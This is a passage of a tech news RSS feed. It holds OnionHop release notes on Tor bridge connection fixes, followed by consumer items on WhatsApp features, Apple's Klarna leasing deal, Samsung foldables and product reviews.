<description><![CDATA[A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.
Fixed

Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transp...]]></description>
<link>https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:09 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Clearer log when the transport can't reach reachable bridges.</strong> If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.3.exe</code> / <code>OnionHopCLI-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.4]]></title>
<description><![CDATA[Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.
Fixed

Transport helpers now run from a stable path, so firewalls can allow them (#74). On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app...]]></description>
<link>https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:08 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Transport helpers now run from a stable path, so firewalls can allow them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</strong> On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app firewalls like Little Snitch identify a process by its executable path, so a helper in a periodically-purged temp folder never got a durable allow rule and could be silently denied without ever prompting - every bridge then failed with "general SOCKS server failure" even with an "allow all" rule for OnionHop itself. The helpers now run from a stable per-user location (<code>~/Library/Caches/onionhop-pt</code> on macOS, <code>~/.cache/onionhop-pt</code> on Linux), so the firewall can prompt once and remember the answer, the same way it does for Tor Browser's bundled lyrebird. The stale-transport cleanup at connect time now also covers helpers running from that directory.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.4.exe</code> / <code>OnionHopCLI-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.4-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.5]]></title>
<description><![CDATA[Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.
Fixed

obfs4 bridges are now verified with a real handshake before connecting. The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got...]]></description>
<link>https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:06 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.</p>
<h3>Fixed</h3>
<ul>
<li><strong>obfs4 bridges are now verified with a real handshake before connecting.</strong> The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got handed to Tor, producing a wall of "general SOCKS server failure" warnings and a long pause before it connected. The app now drives the bundled obfs4 client to complete the actual handshake and drops the ones that fail, so connecting is faster and the log is far quieter (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>). If the check cannot run or nearly everything fails (for example the whole set is blocked from your network), it safely falls back to the previous behavior.</li>
<li><strong>Fixed "connected but no websites load" in TUN/VPN mode on Windows</strong> (browser showed ERR_PROXY_CONNECTION_FAILED). If an earlier session had crashed or been force-closed while the system proxy was applied, Windows kept that proxy enabled, pointing browsers at a port from that dead session; TUN mode never corrected it. The app now clears a leftover proxy that matches its own format at connect time, and in TUN mode it logs a clear note if some other system proxy is enabled. Third-party proxy settings are never touched.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.5.exe</code> / <code>OnionHopCLI-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.5-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[WhatsApp Adds Apple Music Sharing, iPad Signups, and New CarPlay Features]]></title>
<description><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across sup...]]></description>
<link>https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</guid>
<pubDate>Wed, 22 Jul 2026 20:26:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across supported devices.



One of the main additions lets users share songs from Apple Music or Spotify directly to their WhatsApp Status. Friends can then see what someone is listening to without leaving the Status screen.




“Sharing music is a way of expressing yourself, and now you can easily share a song straight from Apple Music or Spotify to your WhatsApp Status. With just a couple of taps, your friends can see what you’re into right now, making your Status even more uniquely you,” WhatsApp said.




iPad users can now create a WhatsApp account directly on the tablet instead of linking an existing phone account. WhatsApp introduced this option after users repeatedly requested a simpler signup process for its iPad app.



The refreshed CarPlay and Android Auto experience also lets users hear and reply to messages, make calls, view call history, and reach favourite contacts from the car display. Meanwhile, Adobe Acrobat integration allows desktop and web users to open, highlight, and annotate PDFs inside WhatsApp chats.]]></content:encoded>
</item>
<item>
<title><![CDATA[Dyson V10 Konical Review (2026): Affordable and Solid]]></title>
<description><![CDATA[Out of Dyson’s two new affordable stick vacuums, this one is easily my favorite.]]></description>
<link>https://tsecurity.de/de/3687230/it-nachrichten/dyson-v10-konical-review-2026-affordable-and-solid/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687230/it-nachrichten/dyson-v10-konical-review-2026-affordable-and-solid/</guid>
<pubDate>Wed, 22 Jul 2026 20:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Out of Dyson’s two new affordable stick vacuums, this one is easily my favorite.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Super Mario Galaxy Movie 4K Blu-ray might not be my favorite movie of the year, but my god it's an awesome new reference disc for testing TVs and Dolby Atmos sound system]]></title>
<description><![CDATA[Another month, another reference-quality 4K Blu-ray: and this time, it's The Super Mario Galaxy Movie.]]></description>
<link>https://tsecurity.de/de/3687225/it-nachrichten/the-super-mario-galaxy-movie-4k-blu-ray-might-not-be-my-favorite-movie-of-the-year-but-my-god-its-an-awesome-new-reference-disc-for-testing-tvs-and-dolby-atmos-sound-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687225/it-nachrichten/the-super-mario-galaxy-movie-4k-blu-ray-might-not-be-my-favorite-movie-of-the-year-but-my-god-its-an-awesome-new-reference-disc-for-testing-tvs-and-dolby-atmos-sound-system/</guid>
<pubDate>Wed, 22 Jul 2026 20:13:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another month, another reference-quality 4K Blu-ray: and this time, it's The Super Mario Galaxy Movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[These Were My Favorite Things Samsung Unpacked During Its 2026 Galaxy Event]]></title>
<description><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></description>
<link>https://tsecurity.de/de/3686891/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-2026-galaxy-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686891/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-2026-galaxy-event/</guid>
<pubDate>Wed, 22 Jul 2026 17:34:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></content:encoded>
</item>
<item>
<title><![CDATA[These Were My Favorite Things Samsung Unpacked During Its Galaxy Event]]></title>
<description><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></description>
<link>https://tsecurity.de/de/3686726/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-galaxy-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686726/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-galaxy-event/</guid>
<pubDate>Wed, 22 Jul 2026 16:58:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></content:encoded>
</item>
<item>
<title><![CDATA[At last, WhatsApp for iPad can be set up without another device]]></title>
<description><![CDATA[WhatsApp is making its iPad app work more like a standalone service by letting users create an account without first setting it up on a phone.WhatsApp for iPadMeta is rolling out the change as part of a wider WhatsApp update that also expands CarPlay support, adds basic PDF tools and makes it eas...]]></description>
<link>https://tsecurity.de/de/3686562/ios-mac-os/at-last-whatsapp-for-ipad-can-be-set-up-without-another-device/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686562/ios-mac-os/at-last-whatsapp-for-ipad-can-be-set-up-without-another-device/</guid>
<pubDate>Wed, 22 Jul 2026 15:44:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp is making its <a href="https://appleinsider.com/inside/ipad" title="iPad" data-kpt="1">iPad</a> app work more like a standalone service by letting users create an account without first setting it up on a phone.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68314-144006-1849C6F6-23C9-49A3-8741-910DDAA9E81F-xl.jpg" alt="Tablet screen displaying WhatsApp for iPad welcome page with green login and create new account buttons, set against a light brick wall background on a wooden surface" height="738"><span>WhatsApp for iPad</span></div><br>Meta is rolling out the change as part of a wider WhatsApp update that also expands <a href="https://appleinsider.com/inside/carplay" title="CarPlay" data-kpt="1">CarPlay</a> support, adds basic PDF tools and makes it easier to share music. Direct registration addresses one of the largest limitations of the iPad app since its 2025 launch.<br><br>WhatsApp for iPad previously relied on the company's linked-device system, which required users to establish an account elsewhere before connecting the tablet. The new process lets users register, complete setup and begin using WhatsApp directly from the iPad app.<br><br>Meta hasn't explained whether registration still requires a phone number capable of receiving a verification code or whether an iPad can remain the account's only primary device. The change still gives iPad owners a more conventional signup process without first configuring WhatsApp on another device.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/at-last-whatsapp-for-ipad-can-be-set-up-without-another-device?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245021?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[My Favorite NEW Folding Phone - Samsung Galaxy Z Fold8 Ultra vs Fold8 vs Flip8]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 4x - Views:33 Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F

Fold8 - 
https...]]></description>
<link>https://tsecurity.de/de/3686540/videos/my-favorite-new-folding-phone-samsung-galaxy-z-fold8-ultra-vs-fold8-vs-flip8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686540/videos/my-favorite-new-folding-phone-samsung-galaxy-z-fold8-ultra-vs-fold8-vs-flip8/</guid>
<pubDate>Wed, 22 Jul 2026 15:36:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 4x - Views:33 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RoVLY0s5Chc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F<br />
<br />
Fold8 - <br />
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8%2Fbuy%2Fgalaxy-z-fold8-256gb-unlocked-sku-sm-f971ulvaxaa%2F<br />
<br />
Flip8 - <br />
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-flip8%2Fbuy%2Fgalaxy-z-flip8-256gb-unlocked-sku-sm-f776uliaxaa%2F<br />
<br />
unlocked devices at Best Buy - https://bestbuycreators.7tiv.net/6kX2Lb<br />
<br />
https://youtu.be/RoVLY0s5Chc<br />
<br />
<br />
<br />
Samsung just announced three brand new foldable smartphones at Galaxy Unpacked 2026, and I got hands-on with all of them in New York City!<br />
<br />
In this video we're breaking down the new Galaxy Z Fold8 Ultra, Galaxy Z Fold8, and Galaxy Z Flip8, including pricing, displays, cameras, battery life, durability, Galaxy AI features, and the security features I always check first - like SIM support, Ultra Wideband, fingerprint readers, face unlock, Wi-Fi 7, and more.<br />
<br />
Is the new Galaxy Z Fold8 Ultra worth over $2,000? Is the regular Fold8 the better value? And is the Flip8 Samsung's best flip phone yet?<br />
<br />
I'll also be publishing full reviews after spending more time with each device, so make sure you're subscribed so you don't miss those!<br />
<br />
💬 If you could have one of these phones for FREE, which would you choose?<br />
<br />
#Samsung #GalaxyUnpacked #GalaxyZFold8Ultra #GalaxyZFold8 #GalaxyZFlip8 #FoldablePhone #Android #Tech @Samsung  <br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
 Samsung Galaxy Unpacked 2026<br />
00:48 Three New Galaxy Foldables<br />
02:00 Galaxy Z Fold8 Ultra<br />
06:15 Fold8 Ultra Cameras & Security Features<br />
08:00 Patreon Shoutout<br />
09:00 Galaxy Z Fold8<br />
12:35 Galaxy Z Flip8<br />
14:30 Shared Specs Across All Models<br />
16:00 Colors & Storage Options<br />
17:10 Biggest Takeaways<br />
19:00 What I'm Testing Next<br />
20:00 Which One Would You Choose?<br />
<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUPPORT MY WORK <br />
PATREON 💛 https://www.patreon.com/ShannonMorse<br />
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs<br />
MY SHOP 💛 https://shannonrmorse.com/shop<br />
SPRING SHOP 💛 https://morsecode.creator-spring.com/<br />
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
FOLLOW THE SOCIALS THINGS<br />
THREADS 🌸  https://www.threads.net/@snubs<br />
INSTAGRAM 🌸  http://www.instagram.com/snubs<br />
TIKTOK 🌸  https://tiktok.com/@snubsie<br />
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
WEBSITE 🌸 https://www.morsecodecreative.com/<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
TECH I USE AND RECOMMEND<br />
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse<br />
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse<br />
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
MY OTHER SHOWS<br />
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured <br />
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com<br />
My Media Kit ✈ https://shannonrmorse.com/work-with-me <br />
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[WhatsApp adds Apple CarPlay and Android Auto upgrades, iPad sign-ups, and more]]></title>
<description><![CDATA[WhatsApp on Apple CarPlay and Android Auto will let users hear and reply to messages, make calls, view their call history, and access favorite contacts hands-free and right from their car's screen.]]></description>
